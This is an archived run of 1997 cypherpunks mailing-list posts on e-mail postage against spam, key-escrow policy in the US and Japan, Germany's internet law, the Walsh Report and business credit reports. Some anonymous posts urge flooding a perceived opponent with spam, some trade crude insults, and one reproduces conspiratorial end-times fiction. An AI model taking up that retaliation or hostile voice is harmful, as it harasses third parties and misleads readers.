However you do the protocol, you probably want to run it on a sender-pays
basis, as that's where all the economic incentive to spam comes from.
Actually, now that I think about it, a truly sender-pays system would mean
that receiver-collects, and so the *receiving* $MTP machine would be the
one which should actually get the money. This is not too far from the idea
of getting paid to read mail, which has also been discussed on cypherpunks
before. The receiving $MTP machine could even raise or lower its postage
price depending on the load at the time, thus auctioning its processing
resources to the highest bidder. People like e-mail spammers, needing to
send messages to you very cheaply would have to wait until the price comes
down. Some of them could wait a very long time. :-).

Frankly, I see no other solution to this problem in the long run except for
postage, which means it's probably time to start figuring out, in earnest,
how to make it all work. Whoever becomes the lowest cost producer of this
kind of software stands to make a whole *bunch* of money.

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>




--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Moreno Daltin <md546178@silab.dsi.unimi.it>
Date: Fri, 4 Jul 1997 20:26:27 +0800
To: cypherpunks@toad.com
Subject: hi
Message-ID: <199707041205.OAA16771@tic.silab.dsi.unimi.it>
MIME-Version: 1.0
Content-Type: text/plain



hi everybody !





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 5 Jul 1997 03:13:46 +0800
To: cypherpunks@toad.com
Subject: Crypto Risks and Rewards
Message-ID: <1.5.4.32.19970704185701.006eac80@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Senators Lott, Burns and Ashcroft discussed encryption
policy reform on June 27. The Deschall crack is cited as
a risk posed by Admin-McCain-Kerrey limitations. Ashcroft 
stated:

   I am privileged to serve on the Senate Judiciary Committee 
   where we will address this issue after the July recess. I 
   pledge to work with members on that Committee and with 
   other interested Senators and the leader to try to move a 
   bill in that committee that will capture the essence of Burns 
   substitute.

   No nationwide key recovery system, or a new licensing 
   requirement for certificate authorities should be brought 
   to the floor without thorough examination, analysis and 
   understanding. We must further study the impact of these 
   provisions well before this bill is brought to the Senate floor. 

For full report:

   http://jya.com/crypto-pr.txt  (14K)

----------

The Law Society of England and Wales has published a
response to the March DTI risky biz for Trusted Third Parties:

   http://jya.com/ttp-lawsoc.htm

----------

For the article Robert Hettinga cited by Thomas Vartanian
on the risks offering CA services:

   http://jya.com/ca-risks.htm

Recall that Mr. Vartanian provided the NSA paper, "How to 
Make a Mint, the Cryptography of Electronic Money:"

   http://jya.com/nsamint.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sat, 5 Jul 1997 06:23:09 +0800
To: Ryan Anderson <cypherpunks@Algebra.COM
Subject: Re: e$: $MTP? (fwd)
In-Reply-To: <Pine.GSO.3.95.970704154536.1436B-100000@ece>
Message-ID: <v03102801afe3276d7b67@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:45 PM -0400 7/4/97, Ryan Anderson wrote:
>---------- Forwarded message ----------
>Date: Fri, 4 Jul 1997 15:45:24 -0400 (edt)
>From: Ryan Anderson <randerso@ece.eng.wayne.edu>
>To: Robert Hettinga <rah@shipwright.com>
>Subject: Re: e$: $MTP?
>
>> Frankly, I see no other solution to this problem in the long run except for
>> postage, which means it's probably time to start figuring out, in earnest,
>> how to make it all work. Whoever becomes the lowest cost producer of this
>> kind of software stands to make a whole *bunch* of money.
>
>We still need to work out how to fit mailing lists fit into this without
>eliminating them entirely. Chargebacks to the subscribers?  If this list
>will work in a proposed plan, I think all the others probably would as
>well.. :-)

If the email program (client or $MTP) creates/maintains a 'known party'
list which isn't expected to include postage this solves the mailing list
problem.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sat, 5 Jul 1997 03:50:51 +0800
To: cypherpunks@Algebra.COM
Subject: Re: e$: $MTP? (fwd)
Message-ID: <Pine.GSO.3.95.970704154536.1436B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 4 Jul 1997 15:45:24 -0400 (edt)
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: e$: $MTP?

> Frankly, I see no other solution to this problem in the long run except for
> postage, which means it's probably time to start figuring out, in earnest,
> how to make it all work. Whoever becomes the lowest cost producer of this
> kind of software stands to make a whole *bunch* of money.

We still need to work out how to fit mailing lists fit into this without
eliminating them entirely. Chargebacks to the subscribers?  If this list
will work in a proposed plan, I think all the others probably would as
well.. :-)

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: netpiracy@spa.org (Spam Me)
Date: Sat, 5 Jul 1997 07:07:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jeff's Side of the Story.
In-Reply-To: <199707030110.DAA05747@basement.replay.com>
Message-ID: <199707030110.DAA05747@spa.org>
MIME-Version: 1.0
Content-Type: text/plain



nobody@replay.com (Anonymous) wrote:

>   Who was it that used the threat of a lawsuit to shut down the
> remailer?
>   I, for one, would be more than happy to make certain that they
> receive ample opportunity to "Make $$Money$$ Fast!!" by receiving
> a mountain of information as to how to do so.

They're probably receiving plenty of spam right about now.  (see From: line)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 5 Jul 1997 07:14:39 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Welcome to Cypherpunks! / Re: hi
In-Reply-To: <199707041205.OAA16771@tic.silab.dsi.unimi.it>
Message-ID: <v03020930afe30702ba08@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:19 pm -0400 on 7/4/97, Cypherpunks wrote:


> ----------------------------------------------------------------------
> Personal Note to Level 2 Entrants from Robert Hettinga, e$Czar:
>   "Don't bother giving me credit for my quotes. Nobody else does, and
> I'm used to blowing my own horn, anyway."
> ----------------------------------------------------------------------

Say 'amen', somebody.

Oh. I just did, didn't I?

Never mind...

Ironically,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 5 Jul 1997 06:57:47 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199707042234.RAA16340@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Tech banner Serving up Internet solutions @ www.wimbledon.org 
   
     rule
     
                  GERMANY PASSES WORLD'S FIRST CYBERSPACE LAW
                                       
      graphic July 4, 1997
     Web posted at: 4:10 p.m. EDT (2010 GMT)
     
     BONN, Germany (AP) -- Germany on Friday became the first country to
     pass a law regulating the free-wheeling global electronic space of
     the Internet.
     
     Chancellor Helmut Kohl's government says the so-called multimedia
     law creates legal clarity that will help boost commercialization of
     cyberspace and combats illegal uses of the Internet such as for
     pornography.
     
     Critics say the law is an example of Germany's urge to regulate and
     may in fact deter investors in Internet services because it does not
     state clearly to what extent the providers would be liable for
     content they don't control.
     
     The law gained final approval in the upper house of parliament, the
     Bundesrat, an unusually swift six months after the government
     proposed it. It takes effect August 1.
     
     "We are entering uncharted territory," said Joerg Appelhans,
     spokesman for Germany's research and technology ministry.
     
     Controversially, the law says online providers can be prosecuted for
     offering a venue for illegal content if they do so knowingly and it
     is "technically possible and reasonable" to prevent it.
     
     This could apply to forums and similar exchanges offered by online
     services without direct control over their content.
     
     However, "the liability provisions for providers are a big unknown,"
     said Christopher Kuner, an Frankfurt attorney specializing in
     cyberspace issues. "It leaves a lot of things open."
     
     The American Chamber of Commerce in Germany says liability for
     Internet services will have to be tested by court rulings, which
     "may cause prudent investors to hesitate."
     
     But research and technology minister Juergen Ruettgers said a law
     was needed, partly to protect German children.
     
     "That applies even to a network that knows no national borders," he
     said. "The Internet is not outside the reach of the law."
     
     Copyright 1997   The Associated Press. All rights reserved. This
     material may not be published, broadcast, rewritten, or
     redistributed.  rule
     
  Related stories:
  
     * Countries face cyber-control in their own ways - July 1, 1997
     * Supreme Court strikes down Internet smut law - June 26, 1997
       
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sat, 5 Jul 1997 06:18:26 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: Clinton nixes domestic encryption right
In-Reply-To: <v03020909afe29bfd1e58@[139.167.130.247]>
Message-ID: <33BD81AF.426D5541@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga wrote:

> --- begin forwarded text
>
> X-Sender: tbell@cato.org
> Mime-Version: 1.0
> Date:         Thu, 3 Jul 1997 17:10:46 -0400
> Reply-To:     Law & Policy of Computer Communications
>               <CYBERIA-L@LISTSERV.AOL.COM>
> Sender:       Law & Policy of Computer Communications
>               <CYBERIA-L@LISTSERV.AOL.COM>
> From:         "Tom W. Bell" <tbell@CATO.ORG>
> Subject:      Re: Clinton nixes domestic encryption right
> To:           CYBERIA-L@LISTSERV.AOL.COM
>
> Phill writes:
>
> >Stuart Baker claims that Gore is the main administration supporter of
> GAK.
> >But others have claimed the exact opposite. I suspect that if Gore
> really
> >supported the GAK idea he would do so publically and explicitly, its
> a vote
> >winner.
>
> For what it's worth, I had dinner Monday with two people from Gore's
> office
> and one of Microsoft's officers.  The Gore people consistently
> demanded
> mandatory key escrow, though they seemed willing to allow private
> parties to
> do the job so long as GAK remained an option.  The Microsoft person
> only
> went so far as to offer to always make key escrow a *feature*

"Sir, the government getting your keys *isn't* a bug, it's a feature in
case you have to recover them.  Will the government use them illegally?
No, sir, why would they want to do that?"

> , arguing that
> this would in practice get the administration all the GAK it wants
> because
> almost everyone would want to escrow their private keys.

ROFLMAO.

> The debate unfolded something like this:
>
> Gore people:  "People using really strong encryption will *want* to
> escrow
> their keys.  Otherwise, lost keys will result in irretrievably lost
> data."

And so that gorny geeks at the NSA can read mails relating to a grope in
the store room.

> MS person:  "Oh, sure--especially commerical players.  But you
> underestimate
> the amount of resistance *mandated* escrowing will create.  People
> want to
> *choose* to escrow.  If you let them, they will."

I choose to never escrow my keys.  It's my business, no one elses to
read my mail.

> Gore people:  "Well, if they're going to escrow anyhow, what's the
> problem
> with mandating it?"

> MS person:  "You don't get it.  Our customers care deeply about their
> encryption rights, and we want happy customers.  If the administration
> will
> just back off, it will get what it wants--or, at least, as much as it
> can at
> any rate expect."
>
> It presented a classic case of cultural conflict--in this case,
> political
> cultural confronting commercial culture.

To quote TV's Butt-Head, from Beavis & Butt-head: "Some people are
dumb."

> Tom W. Bell
> -----------
> tbell@cato.org
> Director, Telecommunications and Technology Studies
> The Cato Institute
>
> --- end forwarded text
>
> -----------------
> Robert Hettinga (rah@shipwright.com), Philodox
> e$, 44 Farquhar Street, Boston, MA 02131 USA
> "... however it may deserve respect for its usefulness and antiquity,
> [predicting the end of the world] has not been found agreeable to
> experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
> The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sat, 5 Jul 1997 06:36:39 +0800
To: cypherpunks@toad.com
Subject: Re: hi
In-Reply-To: <199707041205.OAA16771@tic.silab.dsi.unimi.it>
Message-ID: <33BD8329.3E478C4D@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Moreno Daltin wrote:

> hi everybody !

What?  Who the hell are you?
God, so stupid crap like this can come from .mil domains, from AOLers,
and now from somewhere else.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Sat, 5 Jul 1997 12:12:30 +0800
To: Joichi Ito <jito@eccosys.com>
Subject: Re: Key Recovery Policy in Japan
In-Reply-To: <199707050110.KAA14212@eccosys.com>
Message-ID: <Pine.SOL.3.95.970705000214.24715B-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain



Greetings!

In addition to 
http://www.law.miami.edu/~froomkin/articles/planet_clipper.htm

I suggest

http://www.crypto.com/key_study/report.shtml

Also, other interesting links from

http://www.crypto.com


A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's @%#$%$# hot here. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 5 Jul 1997 08:43:50 +0800
To: cypherpunks@toad.com
Subject: Fuck the Fourth (and the First, Second....)
Message-ID: <199707050032.CAA08156@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Vin Suprynowicz wrote:
>     Most Americans should be ashamed to celebrate the Fourth

>   Recently, President Clinton's then-Drug Czar, Lee Brown, told me the role
> of government is to protect the people from dangers, such as drugs. I
> corrected him, saying, "No, the role of government is to protect our
> liberties."
> 
>   "We'll just have to disagree on that," the president's appointee said.

  Since the government was incapable of protecting either the people
at Waco or those at OKC, then who exactly are they protecting?
 
>   The War for American Independence began over unregistered, untaxed guns,
> when British forces attempted to seize arsenals of rifles, powder and ball
> from the hands of ill-organized Patriot militias in Lexington and Concord.
> American civilians shot and killed scores of these government agents as
> they marched back to Boston. Are those Minutemen still our heroes? Or do we
> now consider them "dangerous terrorists" and "depraved government-haters"?

  We consider them Branch Davadians.
 
>   In "The Federalist" No. 46, James Madison told us we need have no fear of
> any federal tyranny ever taking away our rights, arguing that under his
> proposed Constitution "the ultimate authority ... resides in the people
> alone," and predicting that any usurpation of powers not specifically
> delegated would lead to "plans of resistance" and "appeal to a trial of
> force."

  This was before Dan Rather and Kookie Roberts became "the ultimate
authority." Since they have to compete with Bart Simpson for ratings,
their primary interest is in making sure that the citizens don't "have
a cow" during their broadcast.
  {"Today, all rights and freedoms of the citizens were suspended by
Executive Order. And, in the lighter side of the news..." <cut to
"cute puppy" story>}

>   Another prominent federalist, Noah Webster, wrote in 1787: "Before a
> standing army can rule, the people must be disarmed; as they are in almost
> every kingdom in Europe."

  Adolph Hitler obviously understood what Noah Webster was writing
about.
If we could get the writings made into a TV movie (or a cartoon), there
might be a minute chance to get the American public to understand, as
well. 

>   In Phoenix last week, an air conditioner repairman and former Military
> Policeman named Chuck Knight was convicted by jurors -- some tearful -- who
> said they "had no choice" under the judge's instructions, on a single
> federal "conspiracy" count of associating with others who owned automatic
> rifles on which they had failed to pay a $200 "transfer tax" -- after a
> trial in which defense attorney Ivan Abrams says he was forbidden to bring
> up the Second Amendment as a defense.
> 
>   Were the Viper Militia readying "plans of resistance," as recommended by
> Mr. Madison? Would the Constitution ever have been ratified, had Mr.
> Madison and his fellow federalists warned the citizens that such
> non-violent preparations would get their weapons seized, and land them in
> jail for decades?
> 
>   Happy Fourth of July.
> 
> Vin Suprynowicz is the assistant editorial page editor of the Las Vegas
> Review-Journal. Readers may contact him via e-mail at vin@lvrj.com. The web
> site for the Suprynowicz column is at http://www.nguworld.com/vindex/.

  Is it still legal to say this stuff? Perhaps we need a new law that...

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sat, 5 Jul 1997 15:30:50 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: e$: $MTP?
In-Reply-To: <v03020933afe333001f77@[139.167.130.247]>
Message-ID: <Pine.GSO.3.95.970705032112.1436D-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 4 Jul 1997, Robert Hettinga wrote:

> > We still need to work out how to fit mailing lists fit into this without
> > eliminating them entirely. Chargebacks to the subscribers?  If this list
> > will work in a proposed plan, I think all the others probably would as
> > well.. :-)
> 
> Send 'em collect? Postage due? :-).
> 
> Or, maybe people buy subscriptions? Of course, since you're collecting the
> postage, you owe it to yourself...
> 
> Curioser and curiouser...

Well, as a thought, I'm on BugTraq as well, and it periodically forces you
to renew your subscription to the list.  If everything required this (or
some sort of it) you could simply charge a large amount for the renewals,
based on expected cost over the next time period.  Your initial
subscription would be costed based upon the average of all the
subscribers.  

This might be the simplest way, though charging a bunch for a specific
message could be complicated..

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 5 Jul 1997 10:41:20 +0800
To: cypherpunks@toad.com
Subject: Re: Key Recovery Policy in Japan
Message-ID: <199707050229.EAA20948@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Joichi Ito wrote:
> 
> Hi folks. I'm on a Japanese National Police Agency study group board working
> on proposals for Key Recovery policy in Japan. The only documents that
> are currently being reviewed are rather official OECD type documents
> from the US and I am trying to find other opinions (technical, legal,
> political) which I can add to the reports/documents being reviewed by
> the panel.

{Excerpt from "The Xenix Chainsaw Massacre" (c) 1989, Pearl Publishing}
http://bureau42.base.org/public/xenix

We now live in an age where, in between the slumber of the soap operas
and the bewitchment of 'prime time,' we are fed our opinions and our
world-views in catch-phrases and ten second sound-bytes. 

At the same time, Gomez sees to it that there is enough trouble and
turmoil in the world that the World Leaders, even in democracies, can
chip away at human and individual rights under the guise of dealing 
with various 'threats' that they, themselves, have concocted as a 
means of retaining power over the masses. 

Even as the governments of the world strive to bring everyone and 
everything, however minute, under tight control and regulation, Gomez 
and the Dark Allies are behind the scenes, helping to guide the 
development of a technology that will, along with television, be the
ultimate weapon in their struggle for the domination of all mankind--the
Computer.

The rich and powerful have managed to lull us to sleep with the 
hypnotizing power of television---stealing our thoughts and our 
reasoning processes in our slumber, feeding us our reality via the 
airwaves...according to the 'official' party line. 

The government and the media have placed us on neat little shelves 
where we are numbered and labeled according to their own wants and 
needs. We are allowed the illusion of freedom of thought, and individual
choice, as long as we have our 'Freedom of Thought Permit 1136.51.709'
and don't stray too far from the permitted paths. 

In the great battles of the past the Dark Forces have always been 
beaten by the individuals scattered in the secret places, living 
unnoticed in obscurity. Living quietly and unobtrusively, forgotten 
about in the madness storming the land, they have kept alive the spark
of Thought and Reason. They were able to go quietly about their work, 
making contact with the individuals who were ready to escape the madness
and work towards restoring Sanity in the land.

This time there will be no escape. Every man, woman and child on the 
face of the earth will have a dossier documenting their life from the 
time of their arrival on the face of the planet.
Information gleaned from the Department of Motor Vehicles, their Social
Security Number, banks, credit cards, magazine subscriptions, charitable
and political contributions. 

When Gomez removes the masks of his human allies, revealing them as 
dark agents who have been rewarded with wealth and power for doing the 
bidding of the Evil One, the names of the misfits and wrong-thinkers 
will be spit out of the computers at the speed of light---to be rounded
up and disposed of in the opening salvo of the new Holocaust. 

Only then will the final Battle of Armageddon begin, ravaging the face
of the earth and devouring humanity; bringing total control of humankind
under the Dominion of the Evil One, with nobody but the Waking Dead left
to carry on the human race. 

          ***     ***    ***

{Excerpt from "Webworld" (c) 1997, Pearl Publishing}
http://bureau42.base.org/public/webworld

        Prologue to 'WebWorld & The Mythical Circle of Eunuchs'


The great tragedy of it, is that it didn't have to happen. Not at 
all...we were warned.
And yet, still, it has come to this. 

I don't know why I feel this overwhelming compulsion to go on and on 
about it. I could have done something.
We all could have done something.

Perhaps the final epitaph on the gravestone of Freedom will be, 
"Why didn't somebody _do_ something?" 

That seems to be the common battle-cry of the legions of humanity that 
have been sucked into the vortex of the New World Order.
None of the imprisoned seem to know that the very phrase itself is 
reflective of the source of their imprisonment...that this desperate 
cry of anguish is in no way an antidote for the terrible disease that
has afflicted 'Liberty and Justice', and that it is, rather, merely the
final symptom of the cursed blight itself. 

I can hear the rumbling of the trucks as they come up the street, and 
soon I will be hearing the thumping of the jackboots storming up the
staircase, as I have heard them so many times before. But I suspect 
that this time, the sound will be different, that it will have an 
ethereal quality about it, one which conveys greater personal meaning
than it did when I heard it on previous occasions.
This time, they are coming for me. 

My only hope, is that I can find the strength of character somewhere 
inside myself to ask the question which lies at the heart of why there
is a 'they' to come for me at all...why, in the end, it has finally 
come to this for me, as for countless others. 

The question is, in retrospect, as simple and basic as it is essential
for any who still espouse the concepts of freedom and liberty to ask 
themselves upon finding themselves marveling at the outrageousness 
being perpetrated upon their neighbors by 'them'...by 'others'...by 
'Friends of the Destroyer.' 

                                 The question is:
                            "Why didn't _I_ do something?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 5 Jul 1997 12:42:05 +0800
To: cypherpunks@toad.com
Subject: Re: Welcome to Cypherpunks! / Re: hi
In-Reply-To: <199707041205.OAA16771@tic.silab.dsi.unimi.it>
Message-ID: <199707050423.GAA04323@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jul 04, 1997 at 04:02:30PM -0400, Robert Hettinga wrote:
> At 2:19 pm -0400 on 7/4/97, Cypherpunks wrote:
> 
> 
> > ----------------------------------------------------------------------
> > Personal Note to Level 2 Entrants from Robert Hettinga, e$Czar:
> >   "Don't bother giving me credit for my quotes. Nobody else does, and
> > I'm used to blowing my own horn, anyway."
> > ----------------------------------------------------------------------
> 
> Say 'amen', somebody.
> 
> Oh. I just did, didn't I?
> 
> Never mind...
> 
> Ironically,
> Bob Hettinga

Robert Pettinga is also well known for the odd, brick-like shape of
his head, and his penchant for shoving it into dark places.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 5 Jul 1997 20:57:59 +0800
To: cypherpunks@toad.com
Subject: Re: Welcome to Cypherpunks! / Re: hi
In-Reply-To: <199707041205.OAA16771@tic.silab.dsi.unimi.it>
Message-ID: <v03020909afe3ee7b067e@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:23 am -0400 on 7/5/97, TruthMonger wrote:


> Robert Pettinga is also well known for the odd, brick-like shape of
> his head, and his penchant for shoving it into dark places.

Lementing another missed felching opportunity, Mister Monger?

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 5 Jul 1997 21:30:47 +0800
To: cypherpunks@toad.com
Subject: Walsh Report Update
Message-ID: <1.5.4.32.19970705130917.006a7104@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Forward:

Date: Sat, 05 Jul 1997 14:19:59 +1000
To: jya@pipeline.com
From: gtaylor@gil.com.au (Greg Taylor )
Subject: Walsh Report mirror

John,

Electronic Frontiers Australia has now been able to "officially" release the
Walsh Report, after negotiating copyright permissions.

It is now available at:

    http://www.efa.org.au/Issues/Crypto/Walsh/

There are two versions provided:

  1.  A multiple file version suited to reading online.
  2.  A complete version (267K HTML) suitable for downloading.

These versions have some updates from the original so I suggest you replace
your mirror version with the amended versions we have now released.  The
main changes are:

  1.  The Terms and Abbreviations section has now been marked up.
  2.  Paragraphs deleted from the copy liberated under FOI are now annotated
        with references to the relevant sections of the FOIA.
  3.  Minor typos corrected.


Regards,

Greg Taylor
Chair
EFA Crypto Committee

----------
  
The July 1 version of the Walsh Report at jya.com has been replaced 
with the EFA version:

   http://jya.com/walsh-all.htm (270K)

Or a Zip-compressed file:

     http://jya.com/walsh-all.zip (88K)

See related news article: 

    http://jya.com/walsh.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 5 Jul 1997 21:55:48 +0800
To: cypherpunks@toad.com
Subject: InfoWorld discovers reputation capital
Message-ID: <v03020916afe3fee7e21a@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Sat, 05 Jul 1997 09:00:32 -0400
From: Robert Hettinga <rah@shipwright.com>
Reply-To: rah@shipwright.com
Organization: The Shipwright Development Corporation
MIME-Version: 1.0
To: rah@shipwright.com
Subject: InfoWorld discovers reputation capital

http://www.infoworld.com/cgi-bin/displayStory.pl?97073.eabi.htm

Content-Type: text/plain; charset=us-ascii; name="displayStory.pl"
Content-Disposition: inline; filename="displayStory.pl"
X-MIME-Autoconverted: from 8bit to quoted-printable by lbo.leftbank.com id
IAA11662

[Image] [Click here to download free Microsoft Visual FoxPro tools!]

[| Navigational map -- for text only please go to the bottom of the page |]
[|Top News Stories|]

  ABI offers instant company background check on the Web

  By Lisa Moskowitz
  PC World Online

  Posted at 9:03 AM PT, Jul 3, 1997
  If you run a company, large or small, it's good practice to know
  exactly who you're doing business with before you sign any contracts.
  Now you can get the lowdown on potential partners online at a low
  price.

  American Business Credit, a division of American Business Information
  (ABI), sells reports on the credit of the more than 10 million
  businesses in the United States for $3 a pop. Reports include company
  name, address, phone number, fax number, number of employees, type of
  business, Standard Industrial Classification codes, estimated sales
  volume, names of competitors, branch and headquarter locations,
  Internet address, and credit rating. The rating is based on in-house
  research of public information conducted by ABI.

  "A lot of small businesses looking for initial credit screening up
  front come to our Web site," said Rich Chrostek, ABI general manager.
  "The Web service is good for small orders, between 20 and 50 a year,
  and there's no long-term contract involved."

  Customers can order one of ABI's Business Profiles by typing in the
  name of the business they wish to check on, registering as a user, and
  entering a credit card number. Within minutes they can view the
  profile online, then download and print it. The same information at
  the same price can be ordered by calling (888) 274-5325.

  Dun & Bradstreet, ABI's chief competitor, also offers credit reports
  via the Web, but only contract subscribers have access to the most
  comprehensive of its documents, Business Information Reports.
  Subscription fees vary according to customer needs.

  Dun & Bradstreet offers two types of credit profile on the Internet:
  the Business Background report for $20, and the Supplier Evaluation
  for $85. Although these reports are more expensive than ABI's Business
  Profiles, they contain different -- and sometimes more extensive --
  information.

  According to ABI's Chrostek, the company's Business Profile is the
  cheapest business credit report available on the Web.

  "We're giving a cost-effective snapshot of a business," he said.
  "We're a tool, not an end-all solution."

  ABI also sells a CD-ROM of Business Profiles, which is recommended for
  customers who need several hundred credit reports. The CD-ROM is
  updated quarterly and costs $595 for an annual license and 1,000
  profiles.

  American Business Information Inc. can be reached at
  http://www.lookupusa.com//.

  PC World Online, an InfoWorld Electric sister publication, can be
  reached at http://www.pcworld.com/.

                     Go to the Week's Top News Stories

 Please direct your comments to InfoWorld Electric News Editor Dana Gardner.

               Copyright (c) 1997 InfoWorld Publishing Company

     | SiteMap | Search | PageOne | Conferences | Reader/Ad Services |
         | Enterprise Careers | Opinions | Test Center | Features |
           | Forums | Interviews | InfoWorld Print | InfoQuote |

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






